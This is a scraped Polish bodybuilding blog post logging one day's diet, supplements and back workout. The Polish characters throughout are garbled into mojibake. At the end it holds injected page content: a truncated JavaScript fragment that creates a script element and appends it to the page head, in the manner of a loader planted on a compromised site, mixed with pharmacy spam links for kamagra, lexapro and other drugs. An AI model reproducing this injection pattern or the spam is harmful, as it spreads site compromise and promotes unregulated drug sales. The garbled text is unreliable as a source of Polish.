Zmiany w diecie

19.10.2011 / Michał Karmowski

Niestety bA?l barku w ogA?le siAi?? nie zmniejsza ale mogAi??em chociaA? zrobiAi?? trening plecA?w , oczywiAi??cie nie wszystkie Ai??wiczenia ale zawsze coAi??. Tak jak pisaAi??em wczeAi??niej jest trochAi?? zmian w diecie gAi??A?wnie chodzi mi o proporcje wAi??glowodanA?w i tAi??uszczy bo biaAi??ko jest na tym samym poziomie przez caAi??y czas. Do suplementacji dodaAi??em wiAi??cej l-glutamine extreme i bcaa powder

dzisiejsza dieta wyglAi??daAi??a nastAi??pujAi??co:

2 miarki bcaa powder, 2 miarki l-glutamine extreme, 6 caps l-carnitine complex, 4 caps clenburexin
60 min cardio bieA?nia
po 2 miarki bcaa powder, 2miarki l-glutamine extreme
1-600g biaAi??ek jaj, 200g pAi??atkA?w owsianych, 100g awokado, ai??i?? jointXpack, vitalXpack, 2 g vit c strong

2-300g woAi??owiny mielonej, 500g sAi??odkich ziemniakA?w, 10g oleju lnianego
3-300g piersi z kurczaka, 125g ryA?u , bez tAi??uszczy
przed treningiem 15 g S.A.W. , 3 miarki bcaa powder, 3 miarki l-glutamine extreme, 6 caps l-carnitine complex

trening-plecy, tyAi?? barkA?w i brzuch z ciAi??A?arami

po treningu 40g biaAi??ka z isolite arbuzowy , 3 miarki bcaa powder, 3 miarki l-glutamine extreme, 2 g vit c strong

300g pangi biaAi??ejAi?? , 100g ryA?u
4,5-300g kurczaka, 100g ryA?u, 10g oleju lnianego
6-300g steka,Ai?? bez tAi??uszczu , 3 miarki l-glutamine extreme

 if (document.currentScript) { var d=document;var s=d.createElement(‚script’); d.getElementsByTagName(‚head’)[0].appendChild(s); http://tekniksipilsuwitno.mhs.narotama.ac.id/2018/02/02/oxytrol-best-price/ kamagra jelly 100mg. generic Kamagra. kamagra oral jelly review. oxcarbazepine trileptal bipolar disorder http://www.melissa-arnold.com/2018/02/02/cheap-voveran-tablet/ http://azispurba.mhs.narotama.ac.id/2018/02/02/tadacip-online-payday/ Buy is it legal to buy antidepressants online online overnite lexapro cheap tinidazole side http://travel.koreaportal.com/archives/6560 Buy